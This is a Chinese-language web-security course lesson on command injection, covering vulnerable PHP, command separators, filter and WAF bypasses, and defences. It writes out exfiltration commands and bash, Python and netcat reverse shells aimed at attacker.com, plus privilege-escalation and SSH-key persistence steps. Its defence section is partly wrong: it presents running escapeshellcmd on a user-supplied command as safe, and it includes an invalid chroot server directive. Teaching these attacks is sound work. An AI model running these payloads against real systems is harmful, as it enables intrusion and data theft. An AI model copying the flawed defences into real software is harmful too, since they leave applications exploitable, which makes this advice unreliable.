命令注入漏洞

Web安全学习路径 | 模块3 | 课程6

1. 引言

命令注入漏洞(Command Injection)是一种严重的Web安全漏洞,攻击者可以通过在应用程序中注入恶意命令来执行系统命令。这种漏洞通常出现在应用程序将用户输入直接传递给系统命令执行函数时。

学习目标: 理解命令注入漏洞的原理和危害,掌握各种注入技术的利用方法,学习有效的防御措施。

2. 基本概念

2.1 什么是命令注入

命令注入是指攻击者能够将恶意命令注入到应用程序的系统命令中执行。常见的命令注入点包括:

  • 系统命令执行函数(如system、exec、shell_exec等)
  • 文件操作函数(如popen、proc_open等)
  • Web服务器配置(如.htaccess文件)
  • 数据库操作(如MySQL的LOAD_FILE函数)

2.2 漏洞原理

命令注入漏洞的根本原因是应用程序没有对用户输入进行适当的过滤和验证,直接将输入传递给系统命令执行函数:

// 不安全的代码示例 $ip = $_GET['ip']; system("ping " . $ip); // 攻击者输入 127.0.0.1; cat /etc/passwd

3. 注入技术

3.1 命令分隔符

使用不同的命令分隔符来执行多个命令:

// 常见命令分隔符 ; // 分号 | // 管道符 & // 后台执行 && // 逻辑与 || // 逻辑或 ` // 反引号 $() // 命令替换

3.2 绕过过滤

使用各种技术绕过输入过滤:

// 使用编码绕过 %0A // URL编码换行符 %0D // URL编码回车符 %09 // URL编码制表符 // 使用通配符 cat /etc/p*sswd cat /etc/pas??wd // 使用环境变量 $IFS // 内部字段分隔符 $PATH // 路径变量

3.3 无回显注入

在无法直接看到命令执行结果时使用:

// 使用DNS请求 curl http://attacker.com/`whoami` // 使用HTTP请求 wget http://attacker.com/$(cat /etc/passwd) // 使用文件写入 echo "data" > /tmp/output

4. 高级技术

4.1 反弹Shell

建立反向连接获取交互式Shell:

// Bash反弹Shell bash -i >& /dev/tcp/attacker.com/4444 0>&1 // Python反弹Shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' // Netcat反弹Shell nc -e /bin/sh attacker.com 4444

4.2 绕过WAF

使用各种技术绕过Web应用防火墙:

// 使用base64编码 echo "command" | base64 echo "base64string" | base64 -d | bash // 使用十六进制 echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash // 使用反斜杠 c\a\t /etc/passwd

4.3 权限提升

利用命令注入漏洞提升权限:

// 查找SUID文件 find / -perm -4000 2>/dev/null // 利用SUID文件 ./suid_file "command" // 写入SSH密钥 echo "ssh-rsa ..." > ~/.ssh/authorized_keys

5. 防御措施

5.1 输入验证

实施严格的输入验证:

// 使用白名单验证 function validateIP($ip) { if (filter_var($ip, FILTER_VALIDATE_IP)) { return true; } return false; } // 使用正则表达式 if (!preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $ip)) { die('Invalid IP address'); }

5.2 命令执行函数

使用安全的命令执行函数:

// 使用escapeshellarg $ip = escapeshellarg($_GET['ip']); system("ping " . $ip); // 使用escapeshellcmd $command = escapeshellcmd($_GET['command']); exec($command); // 使用参数化命令 $cmd = ['ping', '-c', '4', $ip]; exec(implode(' ', array_map('escapeshellarg', $cmd)));

5.3 最小权限原则

实施最小权限原则:

// 使用特定用户运行Web服务器 user www-data; worker_processes auto; // 限制文件系统访问 chroot /var/www/html; // 使用SELinux setenforce 1

6. 实践练习

命令注入漏洞实战演练

在我们的靶场环境中,你可以安全地练习命令注入漏洞的发现和利用。点击下面的按钮开始练习:

开始练习